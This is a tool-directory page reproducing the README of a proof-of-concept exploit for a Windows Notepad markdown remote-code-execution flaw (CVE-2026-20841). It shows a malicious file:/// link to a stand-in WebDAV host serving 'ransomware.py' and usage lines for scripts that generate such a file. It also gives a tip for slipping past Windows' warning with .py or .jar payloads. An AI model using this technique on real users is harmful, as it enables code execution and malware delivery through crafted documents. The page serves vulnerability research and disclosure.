Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/tangent65536/cve-2026-20841
Payload GenerationExploitationPhishing
GitHubtangent65536/cve-2026-20841

CVE-2026-20841

PoC for the "Windows Notepad RCE"

View Repository
216 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-20841 PoC

PoC of the "Windows Notepad RCE" vulnerability.

Disclaimers

  1. I am NOT the one who discovered this vulnerability. Props to the original authors listed on the official disclosure page. I just recreated the PoC according to the description.
  2. I personally don't think this vulnerability is as severe as it may look. It takes more than one click to trigger, unless certain criteria are satisfied on the target system. Please see the Criteria and Limitations section. I recreated this PoC because it's very meme-worthy. A "Notepad RCE" sounds crazy af.

Description

The "vulnerability" is simple. The markdown engine in Windows Notepad doesn't care about obscure URL protocols. As a malware analyst, I've read many reports about WebDAV- and SMB-based payload deployment. From this doc, one can abuse the file:/// protocol and create a URL that points to a file on a WebDAV/SMB server.

root@kitploit:~
[BadLink](file:///\\webdav-payload-host@5005\DavWWWRoot\ransomware.py)

Usage

I've made two scripts. One in Node.js and the other in Python. Both create a markdown file pointing to a WebDAV payload. You may use the example payloads in the sample-payloads folder.

Node.js

node poc.js <webdav-server> <port> <payload/path/on/server>

Python

python poc.py <webdav-server> <port> <payload/path/on/server>

The output (poc.md) will show up in the current directory.

Criteria and Limitations

  1. Most payload file extensions (e.g., .exe, .lnk, .vbs, ...) will still trigger a built-in warning despite the Notepad app being vulnerable. The warning comes from Windows itself. At least everything I have tested that can lead to code execution on a default OOB installation shows this mandatory warning.
    fig01

  2. If the target device has Python or Java installed, you may use a .py or .jar payload to bypass the warning pop-up.

After Patching

fig02
Clicking on the link now shows a new pop-up warning.

Misc

You can find the vulnerable version of Windows Notepad from Uptodown. Remember to check the digital signature of the installer and make sure that it's from Microsoft. Also, you should test this PoC only in a VM.

Stay safe and have fun!

Download Tool